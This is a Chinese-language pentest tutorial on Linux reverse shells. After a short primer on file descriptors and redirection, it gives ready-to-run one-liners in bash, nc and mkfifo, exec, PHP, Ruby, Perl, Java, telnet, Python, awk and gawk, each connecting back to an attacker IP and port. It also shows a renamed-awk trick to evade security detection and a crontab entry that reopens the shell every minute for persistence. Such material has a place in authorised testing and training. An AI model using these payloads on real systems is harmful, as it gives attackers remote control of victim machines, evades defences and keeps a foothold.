前言

我们日常渗透测试过程中的最终目的是获取到目标系统的权限,常见的有通过文件上传、命令执行、反序列化等方式,其中在执行命令执行的时候由于目标系统大多数情况下处于防火墙之后、命令执行的权限不够、端口被占用等情况,那么在这种情况下我们就需要考虑——反弹shell,即攻击者在攻击主机上开启端口监听,随后让目标主机反向连接攻击者的服务器,从而规避防火墙、端口、权限等问题,本篇文章我们主要介绍Linux环境中如何通过命令执行来反弹shell

基础知识

描述符类

文件描述符(File Descriptor,FD)是一个非负整数,用于标识进程打开的文件或其他输入/输出资源(例如:管道、网络套接字等),在Linux和Unix系统中文件描述符是实现文件操作的基本机制之一,每个进程都有自己的文件描述符表,其中包含指向系统内核中文件对象的指针。文件描述符的主要用途包括:

  • 访问普通文件

  • 访问设备文件

  • 访问网络连接

  • 管道和FIFO通信

在Linux中进程在启动时会自动打开三个文件描述符:

  • 标准输入:standard input 0(默认设备键盘) 

  • 标准输出:standard output 1(默认设备显示器) 

  • 错误输出:error output 2(默认设备显示器)

重定向类

输入重定向

输入重定向是在Linux和Unix系统中一种将标准输入(stdin)从默认设备(通常是键盘)重定向到其他数据源(例如:文件或其他命令输出)的机制,它允许用户在命令行中使用文件作为输入,而无需手动输入数据,在Linux命令行中输入重定向通常使用"<"符号进行,下面是输入重定向的基本格式:

#命令格式command < input_file

假设有一个名为input.txt的文件,其内容如下

Hello, Al1ex!This is a test.

随后使用输入重定向将文件内容传递给cat命令,此时会将文件input.txt的内容输出到标准输出

cat < input.txt

输入重定向也可以与其他命令结合使用,例如:可以使用grep命令查找文件中的特定字符串

grep "test" < input.txt

输出重定向

输出重定向是在Linux和Unix系统中将命令的标准输出(stdout)从默认设备(通常是屏幕)重定向到其他地方(例如:文件或其他命令)的机制,它允许用户将程序的输出保存到文件中或者将输出传递给另一个命令进行处理,输出重定向通常使用>或>>符号:

(1) 使用 >:将命令的输出写入指定文件,若文件存在则会覆盖该文件

#命令格式command > output_file

假设我们要将echo命令的输出写入output.txt文件,此时我们只需要执行下面的命令,这条命令会将字符串"Hello, World!"写入output.txt,如果文件已存在,则内容会被覆盖

echo "Hello, World!" > output.txt

错误重定向

在Linux和Unix-like系统中错误重定向是将程序产生的错误信息(标准错误输出,stderr)导向到特定的目标,例如:文件或其他命令,通过有效地管理错误输出可以更好地调试程序、记录错误日志或避免终端显示不必要的错误信息

(1) 将错误输出重定向到文件

使用以下命令将错误信息重定向到一个文件中:

#命令格式command 2> error_file

例如:如果你想运行一个不存在的命令并记录错误信息,可以执行以下命令,这会将错误信息写入error.log文件

non_existing_command 2> error.log

(2) 追加错误输出到文件

如果希望将错误信息附加到现有文件,而不是覆盖它,那么可以使用 >>:

#命令格式command 2>> error_file

例如:将新的错误信息附加到error.log 文件末尾

ls non_existing_file 2>> error.log

(3) 将标准输出和错误输出同时重定向

我们希望同时捕获标准输出和标准错误输出,可以使用如下语法

#命令格式command > output_file 2>&1

在这里"2>&1"将标准错误输出(2)重定向到标准输出(1),因此两者都将写入output_file,例如:

ls existing_file non_existing_file > all_output.log 2>&1

(4) 使用管道将错误输出传递给其他命令

我们还可以将错误输出通过管道(|)传递给其他命令,例如:你可以将错误信息传递给grep以过滤特定错误类型

#命令格式command 2>&1 | grep "error"

这会查找包含"error"字样的错误信息并只显示这些信息。

正向连接

正向连接通常指的是客户端主动向服务器发起的连接请求,在这种情况下客户端知道要连接的服务器的IP地址和端口并发送连接请求,正向连接的典型例子包括:

  • HTTP/HTTPS 请求:浏览器发送请求到Web服务器

  • SSH 连接:使用SSH客户端连接到远程Linux服务器

  • FTP 连接:FTP客户端连接到FTP服务器以下载或上传文件

反向连接

反向连接通常是指服务器或某个进程从其内部网络环境向外部主机发起连接,这种情况在渗透测试过程中比较常用,它通常用于被控端因防火墙受限、动态IP地址、权限不足、端口被占用等情形:

  • Webhook:某些服务允许用户设置HTTP回调,当事件发生时服务会向指定的URL发出请求

  • 反向Shell:黑客可能通过利用反向Shell技术,从受害者的机器上反向连接回攻击者的机器以获取控制权

  • 远程管理工具:某些远程访问工具会在被管理设备上运行代理程序,该代理会定期尝试连接到管理服务器

常规反弹

在Linux中我们最常用的反弹shell手法就是通过Bash进行反弹shell,下面进行一个简单的演示:

Step 1:在Attacker机器上执行

nc -lvp 1234

Step 2:在攻击者主机上执行以下命令反弹shell

bash -i >& /dev/tcp/192.168.204.144/1234 0>&1

Step 3:随后可以看到在攻击机上出现了受害者机器的shell

命令解释:

1、bash -i 

  • bash:启动一个新的Bash shell的命令

  • -i:此选项表示以交互模式启动Bash shell,交互模式允许用户输入命令并立即接收输出,这使得在远程连接时更加灵活和实用

2、>&

  • >:表示重定向输出

  • &:结合与前面的重定向结合使用(>&),这表示将标准输出(stdout)和标准错误(stderr)都重定向到同一个地方,这意味着不论是正常输出还是错误信息都会被发送到指定的目标

3、/dev/tcp/ip/port 

  • /dev/tcp:Unix/Linux系统中的一个特殊文件,可以用于通过TCP协议进行网络通信,它允许你以文件的方式打开网络连接

  • 192.168.204.144:攻击者计算机的IP地址

  • 1234:攻击者机器上监听的端口号,攻击者需要提前在这个端口上运行一个监听程序(例如:nc或者ncat),等待受害者的连接

4、0>&1

  • 0:表示标准输入(stdin)

  • >&1:这个部分表示将标准输入重定向到标准输出,这样设置之后受害者的Bash shell将会从攻击者的计算机接收输入(即执行命令)

此命令的整体功能是启动一个交互式Bash shell并将其连接到攻击者指定的IP地址和端口上,执行此命令后,受害者的计算机将主动建立一个TCP连接到攻击者的机器,同时将所有输入和输出都重定向到这个连接中,使得攻击者可以直接在受害者的shell中执行命令

其他反弹

NC反弹shell

如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell:

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

nc 192.168.204.144 1234 -t -e /bin/bash

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,你可以通过以下方式获取shell

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.204.144 1234 >/tmp/f

Step 3:随后在攻击者一侧收到对应的shell

exec反弹shell

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

exec 5<>/dev/tcp/192.168.204.144/1234;cat <&5|while read line;do $line >&5 2>&1;done

Step 3:随后可以看到成功反弹shell

命令解释:

1、exec 5<>/dev/tcp/192.168.204.144/1234

  • exec:内置Bash命令,用于执行指定命令或改变当前shell进程的文件描述符

  • 5<>:这部分表示打开一个新的文件描述符5并且是双向的(可以读和写)

  • /dev/tcp/192.168.204.144/1234:这个特殊的设备文件允许通过TCP协议与指定的IP地址和端口进行通信,在这里它试图连接到192.168.204.144的1234端口

2、cat <&5

  • cat:这是一个用于读取文件内容的命令

  • <&5:这个部分表示从文件描述符5(即我们刚才打开的TCP连接)中读取数据,也就是说cat将会从远程主机接收输入

3、| while read line; do ...; done

  • |:管道符,将cat命令的输出传递给后面的命令

  • while read line:这个循环将逐行读取cat命令的输出并将每一行存储在变量line中

  • do $line >&5 2>&1:在循环体内部

    • $line:表示执行从远程主机接收到的命令

    • >&5:将命令的标准输出重定向到文件描述符5,也就是发送回远程主机

    • 2>&1:将标准错误(stderr)重定向到标准输出(stdout),确保错误信息也能被发送回远程主机

PHP反弹shell

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

php -r '$sock=fsockopen("192.168.204.137",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Step 3:成功反弹shell回来

Ruby反弹shell

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

ruby -rsocket -e'exit if fork;c=TCPSocket.new("192.168.204.137","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Step 3:成功反弹shell

Perl反弹shell

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

perl -e 'use Socket;$i="192.168.204.137";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Step 3:随后成功反弹shell

JAVA反弹shell

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

public class Revs {    /**    * @param args    * @throws Exception     */    public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};        Process p = r.exec(cmd);        p.waitFor();    }}

随后编译执行Resv.java

javac ./Revs.javajava Revs

Step 3:随后成功反弹shell

Telnet反弹shell

Step 1:Attack主机上打开两个终端分别执行监听:

nc -lvvp 4444  nc -lvvp 5555

Step 2::Victim主机上执行

telnet 192.168.204.144 4444 | /bin/bash | telnet 192.168.204.144 5555

Step 3:随后在4444交互式shell中执行的命令会重定向输出到5555中

Python反弹shell

Step 1:在Attack上监听:

nc -lvp 1234

Step 2:在Victim上执行以下命令

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.204.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Step 3:随后成功反弹shell

备注:python3也可以哦

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.204.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Step 3:成功反弹shell

利用Awk反弹shell

Step 1:首先在攻击主机上进行监听

nc -lvp 1234

Step 2:在Victim上执行以下命令

#命令格式awk 'BEGIN{s="/inet/tcp/0/[ip]/[port]";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'    
#执行实例awk 'BEGIN{s="/inet/tcp/0/192.168.204.144/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Step  3:随后成功反弹shell回来

为了规避安全设备的检测我们可以将awk二进制文件复制一份并重命名后进行执行:

cp /usr/bin/awk /home/a;/home/a 'BEGIN{s="/inet/tcp/0/192.168.204.144/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

成功反弹shell

通过gawk反弹shell

Step 1:首先在攻击主机上进行监听

nc -lvp 1234

Step 2:在Victim上执行以下命令

#命令格式gawk 'BEGIN{s="/inet/tcp/0/[host]/[port]";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'    
#执行实例gawk 'BEGIN{s="/inet/tcp/0/192.168.204.144/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Step 3:随后成功反弹shell回来

crontab定时任务反弹

Step 1:首先在攻击主机上进行监听

nc -lvp 1234

Step 2:在Victim上执行以下命令

#命令格式(crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"攻击机ip\",攻击机端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -    
#执行实例(crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.204.144\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -

一分钟后成功反弹shell回来:

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。